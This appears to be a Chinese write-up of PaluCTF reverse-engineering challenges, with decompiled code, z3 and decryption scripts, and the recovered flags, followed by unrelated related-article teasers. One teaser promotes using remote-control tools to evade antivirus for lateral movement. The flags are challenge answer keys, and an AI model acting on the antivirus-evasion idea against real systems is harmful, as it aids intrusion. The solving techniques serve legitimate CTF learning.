    R = R ^ R - 60 << 88
    R ^= key
    R = -R * R * 2024 % MOD  # R**2 => R*R
    R = R * key % MOD
    return R

flag = input('Welcome To PaluCTF!\nInput FLAG:')
m = bytes_to_long(flag.encode())
cor = 0x2E441F765514CCA89173554726494D37E9FBE774B6F807BC5F6E71117530CE3D7DB5F70554C03CD9055F4E42969600904DF1F4DB8
if enc(m) == cor:
    print('Congratulation!')
    return None
print('Wrong FLAG!')

用z3解出key

from z3 import *

s = Solver()
key = BitVec('key', 418)
s.add(enc(key) == cor)
s.check()
s.model()
#[key = 56006392793429433699362054746857211947342229695176108896172031696188789774216665112129816951245595005]
key = 56006392793429433699362054746857211947342229695176108896172031696188789774216665112129816951245595005
from Crypto.Util.number import *
long_to_bytes(key)
#b'flag{e88f88d7-4d75-462b-8447-bf4ab7aeab1a}'

O2 Optimization

elf文件,但是ida打不开,找个正常的elf对比一下改第5字节。然后得到加密流程。

#1,修改ELF文件头,将第4字节4改为2(64位程序)
#2,sub_2430() 将数据放入 obj,unk_5360,qword_5340
int sub_2430()
{
  char v1[41]; // [rsp+Fh] [rbp-29h] BYREF

  sub_2A20(&obj, "364d4d5c3e387e00421c597a0a7302144d5b70087e064619567336297d151f56770a7935424f2a780643", v1);
  __cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &obj, &off_50D8);
  sub_2A20(&unk_5360, "flag{Is_This_Real?}", v1);
  __cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &unk_5360, &off_50D8);
  sub_2A20(&qword_5340, "PaluCTF", v1);
  return __cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &qword_5340, &off_50D8);
}
#3,main流程
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  ...
  std::operator<<<std::char_traits<char>>(&std::cout, "Check Flag:", v9);
  std::operator>><char>(&std::cin, &unk_5360);  // 输入flag
  sub_25C0(v17, &unk_5360, &qword_5340);        // 加密
  v10 = n;
  v11 = qword_5388;
  v12 = qword_5388;
  if ( n <= qword_5388 )
    v12 = n;
  if ( v12 && memcmp(s1, obj, v12) || (v13 = v10 - v11, v13 > 0x7FFFFFFF) || v13 < (__int64)0xFFFFFFFF80000000LL )    //与obj比较
  {
    std::string::_M_dispose(&s1);
    goto LABEL_14;
  }
  ...
}
#4,加密
__int64 *__fastcall sub_25C0(__int64 *a1, char **a2, _QWORD *a3)
{
  ...

  v3 = a1 + 2;
  *((_BYTE *)a1 + 16) = 0;
  *a1 = (__int64)(a1 + 2);
  v4 = *a2;
  a1[1] = 0LL;
  v13 = &a2[1][(_QWORD)v4];
  if ( v4 != v13 )
  {
    v6 = 0LL;
    v7 = 0;
    while ( 1 )
    {
      v9 = v6 + 1;
      v12 = (*v4 + *(char *)(*a3 + v7)) % 128;  //a2明文 a3 key c=(a2[i]+key[i])%128
      v10 = a1 + 2 == v3 ? 15LL : a1[2];
      if ( v10 < v9 )
      {
        std::string::_M_mutate(a1, v6, 0LL, 0LL, 1LL);
        v3 = (__int64 *)*a1;
      }
      ++v4;
      *((_BYTE *)v3 + v6) = v12;  // a1[i] = c
      v8 = *a1;
      a1[1] = v9;
      *(_BYTE *)(v8 + v9) = 0;
      v7 = (unsigned __int64)(v7 + 1) % a3[1];
      if ( v13 == v4 )
        break;
      v6 = a1[1];
      v3 = (__int64 *)*a1;
    }
  }
  return a1;
}

这个加密部分看上去非常看不懂,能看懂的只有一句:(m[i]+key[i])%128 

然后直接拿这句解密就行了。

a = bytes.fromhex("364d4d5c3e387e00421c597a0a7302144d5b70087e064619567336297d151f56770a7935424f2a780643")
key = b"PaluCTF"
bytes([(a[i]-key[i%7])%128 for i in range(len(a))])
b'flag{d80a0d76-23af-486e-a0bc-43a463eac552}'

帕鲁被病毒感染了

还以为真是病毒,比赛的时候都没打开。

一个png文件,这应该是misc走错门了吧。修改高度可以显示密码。解开压缩包。从一大堆文件里找,找到一个串。到此为止完全是misc的内容。

THIS IS WHAT YOU ARE LOOKING FOR:    0n3_n00b_ru1n5_0n3_hundr3d_pr05

Reverse-签到

就是因为这个题才没认真作。烤打出题人啊!

程序逻辑看不清,太复杂了。从一个文件local.txt读加密后写到encrypted.txt

将一个码表写入local.txt然后运行程序可以得到加密码表,并且与位置无关。显然只是替换加密,但显然是多对一的关系,因为码表有重复。8字节重复就是256个解。(密文里的0和6分别对应03和19)

enc = 'jmdiz61904646906034535196{'

dic1 = 'dbcdejihijkmmnopqrstuvwxyz0690123456_-+z{'
dic2 = 'abcdefghijklmnopqrstuvwxyz0123456789_-+{}'

''.join([dic2[dic1.index(i)] for i in enc])
#'flagz14207171201067868421}'

后问别人说出题人说题目有问题,这题是逆向里解第3多的:14解,细思极恐!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1615696.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于RT-Thread摄像头车牌图像采集系统

一、项目简介 使用基于RT-thread操作系统的AB32VG1开发板作为主控&#xff0c;对ov7670摄像头进行图像采集&#xff0c;并使用串口发送图片RGB565格式到PC供opencv进行图像识别。 原项目设想在开发板上进行采集的同时并通过简单的二值算法和插值算法实现车牌号识别&#xff0c…

Obsidian 快速安装

看网上Obsidian 很好用&#xff0c;但自己下载总是中断&#xff0c;烦的要死&#xff0c;一度以为要开魔法…… 直到我找到了这个网站Thoughts (teambition.com) yeah~ 亲测有效&#xff0c;大概不到2min吧. 快速开始~&#xff0c;成功水了一片

(二)Servlet教程——我的第一个Java程序

首先打开记事本&#xff0c;输入如下的代码&#xff0c;请注意字母的大小写 public class MyFirst{ public static void main(String[] args){ System.out.println("This is My first Java..."); } } 将该txt文件命名为MyFirst.java 打开cmd命令行窗口&#xff0…

【STM32】嵌入式实验二 GPIO 实验:数码管

实验内容&#xff1a; 编写程序&#xff0c;在数码管上显示自己的学号。 数码管相关电路&#xff1a; PA7对应的应该是段码&#xff0c;上面的图写错了。 注意&#xff1a;选中数码管是低电平选中&#xff1b;并且用74HC595模块驱动输出的段码&#xff0c; 这个模块的学习可以…

面向对象设计与分析(42)工厂方法模式

文章目录 定义示例实际应用 定义 工厂方法模式&#xff0c;定义一个用于创建对象的接口&#xff08;工厂方法&#xff09;&#xff0c;返回对象基类&#xff0c;让子类去实现该接口&#xff0c;从而返回具体的子类对象。 结构 工厂方法模式包含以下主要角色&#xff1a; 抽象…

干货:40个数据统计和分析的术语,让你的可视化大屏有理有据

1. 总体&#xff08;Population&#xff09;&#xff1a;指研究对象的全体&#xff0c;即研究问题所涉及的所有个体或事物的集合。 2. 样本&#xff08;Sample&#xff09;&#xff1a;从总体中选取的一部分个体或事物&#xff0c;用于代表总体进行研究。 3. 参数&#xff08…

java-Arrays

一、Arrays的概述 Arrays是操作数组的工具类 二、Arrays的常用方法 Arrays的常用方法基本上都被static静态修饰&#xff0c;因此在使用这些方法时&#xff0c;可以直接通过类名调用 1.toString 语法&#xff1a;Arrays.toString(数组) 用于将数组的元素转换为一个字符串&a…

世界读书日:探索阅读的多样性样性——漫画、图解、图形化立体图书

在当今信息爆炸的时代&#xff0c;阅读已经不再局限于传统的书籍形式。随着科技的发展和文化的多样化&#xff0c;人们可以通过多种形式来获取知识和享受阅读的乐趣。从漫画、图解到图形化立体图书&#xff0c;每一种形式都有其独特的魅力&#xff0c;适合不同类型的读者和学习…

软件公司:饥一顿饱一顿,咋办?试一试外部柔性产能。

有人开玩笑&#xff0c;软件公司最理想状态就是&#xff1a;项目来了&#xff0c;公司有足够的人力消化产能&#xff1b;项目没了&#xff0c;人员都走了&#xff0c;不会造成产能搁置。 以上是个理想状态&#xff0c;事实上单纯依靠一个公司是做不到的&#xff0c;所以一定建立…

2024普通人怎么搞钱?2024创业好项目!2024创业小白适合做什么生意!

先讲几个残酷的数据&#xff0c;滴滴用户从4500万跌到了1000万&#xff0c;打车的人少了3/4&#xff0c;携程用户旅游业从2600万跌到了600万&#xff0c;少了3/4&#xff0c;怪兽充电宝用户从300万跌到了100万&#xff0c;商场逛街少了2/3&#xff0c;星巴克的用户月活之前是40…

spi 收发流程

patch日期 收发流程的重大修改&#xff0c;来源于2012年的如下补丁 内核提交收发流程的patch spi: create a message queueing infrastructure - kernel/git/stable/linux.git - Linux kernel stable tree 源代码路径及功能 源码作用\drivers\spi\spi.cspi 通用接口&#x…

中小企业有必要建数字档案室吗?

中小企业有建立数字档案室的必要性取决于企业的具体情况和需求。以下是一些考虑因素&#xff1a; 1. 节省空间和成本&#xff1a;传统的纸质档案需要大量的物理空间和维护成本。建立数字档案室可以大大节约空间和减少纸质文档的使用&#xff0c;从而降低相关成本。 2. 提高文件…

数据持久化第四课-EF的基本使用

数据持久化第四课-EF的基本使用 一.预习笔记 1.数据实体模型概述 ORM全称是“对象-关系映射”&#xff08;Object-Relation Mapping&#xff09; ORM是将关系数据库中的数据用对象的形式表现出来&#xff0c;并通过面向对象的方式将这些对象组织起来&#xff0c;实现系统业务…

【RT-Thread应用笔记】FRDM-MCXN947上的RW007实践——WiFi延迟和带宽测试

【RT-Thread应用笔记】FRDM-MCXN947上的RW007实践——WiFi延迟和带宽测试 一、背景介绍1.1 RW007模组简介1.2 Arduino接口简介1.3 RW007软件包简介1.4 RT-Thread env工具简介 二、创建工程2.1 新建工程2.2 添加rw007软件包2.3 打开RW007配置项2.4 启用pin驱动2.5 禁用rw007的ST…

mysql基础19——日志

日志 mysql的日志种类非常多 通用查询日志 慢查询日志 错误日志 与时间有关联 二进制日志 中继日志 与主从服务器的同步有关 重做日志 回滚日志 与数据丢失有关 通用查询日志 记录了所有用户的连接开始时间和截至时间 以及给mysql服务器发送的所有指令 当数据异常时&…

【Yolov系列】Yolov5学习(一)补充1.1:自适应锚框计算

1、Yolov5的网络结构 Yolov5中使用的Coco数据集输入图片的尺寸为640*640&#xff0c;但是训练过程的输入尺寸并不唯一&#xff0c;Yolov5可以采用Mosaic增强技术把4张图片的部分组成了一张尺寸一定的输入图片。如果需要使用预训练权重&#xff0c;最好将输入图片尺寸调整到与作…

实战 | 无视杀软使用远控工具进行横向移动Tips

实战 | 无视杀软使用远控工具进行横向移动Tips。 在有杀软拦截&#xff0c;CS无法上线的情况下&#xff0c;经常用到todesk和向日葵这两个远控工具进行横向移动。不过这两个工具现在好像不怎么好用了。不过无所谓&#xff0c;用其他的就是了&#xff0c;听说最近GotoHTTP很火&…

机器人实验室LAAS-CNRS介绍

一、LAAS-CNRS介绍 1、缩写介绍 同样的&#xff0c;给出英文缩写的全称&#xff0c;以便理解。这里的LAAS&#xff08;Laboratory for Analysis and Architecture of Systems&#xff09;指法国的系统分析与架构实验室&#xff0c;CNRS&#xff08;Centre National de la Rec…

网络数据包嗅探器工具

组织的网络非常庞大&#xff0c;包含服务器、交换机、路由器和接入点等众多节点&#xff0c;由于许多资源和流量不断通过这些节点&#xff0c;因此很难确定大量流量是真实的还是安全攻击的迹象&#xff0c;了解和了解组织的网络流量至关重要&#xff0c;一个有用的资源是网络数…

vivado 自定义波形配置

自定义配置 您可使用下表中列示并简述的功能来自定义波形配置 &#xff1b; 其中功能名称链接至提供功能完整描述的相应小节。 光标 光标主要用作为样本位置的临时指示符并且会频繁移动 &#xff0c; 比如测量 2 个波形边沿之间的距离 &#xff08; 以样本数为单位 &#x…